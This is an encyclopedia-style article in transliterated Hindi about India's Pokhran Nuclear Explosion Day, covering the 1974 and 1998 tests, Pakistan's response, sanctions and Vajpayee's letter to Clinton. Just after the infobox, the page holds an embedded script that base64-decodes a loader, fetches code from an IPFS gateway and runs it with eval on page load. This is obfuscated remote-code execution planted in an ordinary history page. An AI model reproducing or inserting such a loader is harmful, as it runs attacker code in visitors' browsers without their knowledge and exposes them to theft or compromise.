पोखरण परमाणु विस्फोट दिवस
pokharan paramanu visphot divas
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| vivaran | 'pokharan paramanu visphot divas' pratyek varsh bharat mean manaya jata hai. rajasthan ke jaisalamer se karib 140 ki.mi. door loharaki gaanv ke pas malaka gaanv mean 18 mee, 1974 ko bharat ne duniya mean apani paramanu shakti ka loha manavaya tha. |
| desh | bharat |
| tithi | 18 mee |
| sanbandhit lekh | e.pi.je. abdul kalam, atal bihari vajapeyi |
| any janakari | pokharan-1 ke lagabhag 24 sal bad bharat ne pokharan mean hi 11 mee aur 13 mee, 1998 ko paanch paramanu parikshan kiye. isase pahale 10 mee ki rat ko yojana ko aantim roop dete hue is aaupareshan ko 'aaupareshan shakti' nam diya gaya. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>pokharan paramanu visphot divas (aangrezi: Pokhran Atom Blast Day) pratyek varsh '18 mee' ko manaya jata hai. bharatiy paramanu ayog ne pokharan, rajasthan mean apana pahala bhoomigat paramanu parikshan 18 mee, 1974 mean kiya tha. is upalakshy mean pratyek varsh 'pokharan paramanu visphot divas' manaya jata hai. isake bad varsh 1998 mean bharat ne 11 mee v 13 mee ko rajasthan ke pokharan mean paramanu parikshan kar duniya ko chauanka diya tha. achanak kiye ge in paramanu parikshanoan se amerika, pakistan sahit sabhi desh achanbhit rah ge the. poorv rashtrapati d aau. e.pi.je. abdul kalam ki aguaee mean yah mishan kuchh is tarah se aanjam diya gaya ki poori duniya ko isaki bhanak tak nahian lagi. isase pahale 1974 mean bharat ne apana pahala paramanu parikshan (pokharan-1) kar duniya ko bharat ki takat ka loha manavaya tha. isake bad aantararashtriy jagat mean bharat ka sthan aur usaki sakh ek majaboot rashtr ke taur par ubhari.
pokharan-1
18 mee, 1974 ki subah akashavani ke dilli keandr par chal rahe philmi gitoan ke program ko achanak hi bich mean rokakar udghoshana huee...kripaya ek mahattvapoorn prasaran ki pratiksha karean. kuchh hi kshan pashchath udghoshak ka svar gooanj utha... "aj subah 8.05 par pashchimi bharat ke ek ajnat sthan par shaantipoorn karyoan ke liye bharat ne ek bhoomigat paramanu parikshan kiya hai." is parikshan se paanch din pahale 13 mee ko paramanu oorja ayog ke tatkalin adhyaksh homi sethana ki dekharekh mean bharat ke paramanu vaijnanikoan ne paramanu divais ko aseanbal karana shuroo kiya tha aur 14 mee ki rat divais ko aangrezi akshar el ki shakl mean bane shapht mean pahuancha diya gaya tha. yah tha bharat ka pahala paramanu parikshan jo thar marusthal mean jaisalamer se 110 ki.mi. door pokharan ke nikat buddh poornima ke din 18 mee ko nirjan kshetr mean kiya gaya tha. shayad isiliye pokharan-1 ko 'buddh ki muskan' kod nam diya gaya tha. parikshan ke liye pokharan ko isaliye chuna gaya tha kyoanki yahaan se manav basti bahut door thi.
pokharan-2
pokharan-1 ke lagabhag 24 sal bad bharat ne pokharan mean hi 11 mee aur 13 mee, 1998 ko paanch paramanu parikshan kiye. isase pahale 10 mee ki rat ko yojana ko aantim roop dete hue is aaupareshan ko 'aaupareshan shakti' nam diya gaya. 11 mee ko kiye ge pahale parikshan ne poori duniya ko hairan kar diya. achanak kiye ge in paramanu parikshanoan se amerika, pakistan samet kee desh dang rah ge the. is aaupareshan ko poora kiya gaya tha tatkalin pradhanamantri ke vaijnanik salahakar aur diaradio ke pramukh d aau. e.pi.je. abdul kalam ke netritv mean, jo bad mean desh ke rashtrapati bane.
11 mee ko hue paramanu parikshan mean 15 kilotan ka vikhandan upakaran aur 0.2 kilotan ka sahayak upakaran shamil tha. in paramanu parikshanoan ke bad japan aur amerika sahit kee b de pramukh deshoan ne bharat par vibhinn prakar ke pratibandh laga diye. tab ekamatr izarail hi aisa desh tha, jisane bharat ke is parikshan ka samarthan kiya tha. 11 mee, 1998 ko kiye ge paramanu parikshan ke upalakshy mean is din (11 mee) ko adhikarik taur par bharat mean rashtriy praudyogiki divas ke roop mean ghoshit kiya gaya.
pakistan ka paramanu bam
bharat in paramanu parikshanoan ke thik 17 din bad pakistan ne 28 mee v 30 mee, 1998 ko 'chagaee-1' v 'chagaee-2' ke nam se apane paramanu parikshan kiye. ullekhaniy hai ki pakistani paramanu bam ke sootradhar poorv pradhanamantri zulphikar ali bhutto ne jab 70 ke dashak mean in par kam shuroo kiya tha to ise islami bam ka nam diya tha. 1971 mean bharat ke hathoan yuddh mean parajay aur baangladesh ki sthapana ke bad zulphikar ali bhutto ne pakistan ki satta sanbhali thi. bad mean 5 julaee, 1977 ko unake senadhyaksh janaral ziya ul hak ne unhean pradhanamantri ke pad se hatakar ravalapiandi jel mean band kar diya tha tatha 4 aprail, 1979 ko phaansi de di thi. jel mean band bhutto ne ek kitab likhi thi, jisaka nam tha 'iph aee em asesineted'. isamean unhoanne vistar se bataya tha ki kis tarah pakistani bam ki shuruat huee. isi kitab mean ek sthan par unhoanne likha hai...'ham ghas khaeange, lekin bam zaroor banaeange.'
kyoan zaroori the 1998 ke parikshan
yah vah samay tha jab duniya mean paramanu aprasar sandhi ko lekar charchaean joroan par thian. desh ke pramukh paramanu vaijnanik anil kakodakar ke mutabik vah samay bharat ke liye phaisale ki gh di thi. agar bharat bina paramanu shakti bane sitibiti par hastakshar kar deta, to phir use paramanu parikshan karane ka mauka kabhi nahian milata; aur yadi bharat hastakshar karane se mana karata to usase poochha jata ki vah paramanu hathiyaroan par pabandi se pichhe kyoan hat raha hai.
pratibandh
aj jis prakar amerika ke netritv mean pashchimi desh eeran ke paramanu karyakram ko mudda banakar usake khilaph pratibandh lagate-hatate rahate haian, thik usi prakar pokharan-2 ke bad bharat par bhi pratibandhoan ki badh si a gee thi. is parikshan ke bad bharat ke samane kee musibatean ek sath a geean aur arthik, sainy pratibandh lagakar aantararashtriy star par use alag-thalag kar diya gaya. bharatiy videsh niti nirdharakoan ke liye yah ek b di chunauti thi, jisaka kaphi lanbe samay tak samana karana p da.
pradhanamantri ka patr
paramanu parikshan ke turant bad tatkalin pradhanamantri atal bihari vajapeyi ne amerika ke tatkalin rashtrapati bil kliantan ko patr likha tha, 'pichhale kee sal se bharat ke ird-gird suraksha sanbandhi mahaul, visheshakar paramanu suraksha se ju de mahaul ke lagatar big dane se maian chiantit hooan. hamari sima par ek akramak paramanu shakti sanpann desh hai...ek aisa desh jisane 1962 mean bharat par hamala kar diya tha. halaanki us desh ke sath pichhale ek dashak mean bharat ke sanbandh sudhar ge haian, lekin avishvas ki sthiti bani huee hai, jisaki mukhy vazah anasulajha sima vivad hai.' bharat ke khilaph amerika pratibandh n lagae, is or sanket karate hue bharatiy pradhanamantri ne bil kliantan ko likha tha, 'ham apake desh ke sath apane maitri aur sahayog ki kadr karate haian. mujhe lagata hai ki bharat ki suraksha ke prati hamari chianta ko ap samajh paeange.'
nishkarsh
sal 1998 ke paramanu parikshan par ek philm bhi bani hai...'paramanu: d stori aauph pokharan'. isase pata chalata hai ki pokharan-2 ka svatantr bharat ke itihas mean kya mahattv hai. is paramanu visphot ne bharat ko vishv mean bataur paramanu sanpann rashtr sthapit kar diya tha. bharat ke mahan vaijnanik aur poorv rashtrapati abdul kalam ka kahana tha ki ‘sapane ve nahian jo sote hue dekhe jaean, balki sapane ve haian jo iansan ko sone n dean.’ d aau. kalam ke netritv mean hi bharat ne apana doosara paramanu parikshan kiya tha. apane vaijnanikoan ki dakshata aur k di mehanat ki vazah se aj bharat ki ginati paramanu shakti sanpann deshoan mean hoti hai. bharat ki paramanu shakti sanpannata kisi desh ko dhamakane ke liye nahian, balki desh ki suraksha ke liye hai, jise shayad hi kabhi istemal kiya jae. lekin paramanu bam banakar bharat ne yah zaroor sabit kar diya hai ki vah kisi se kam nahian hai.
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tika tippani aur sandarbh
sanbandhit lekh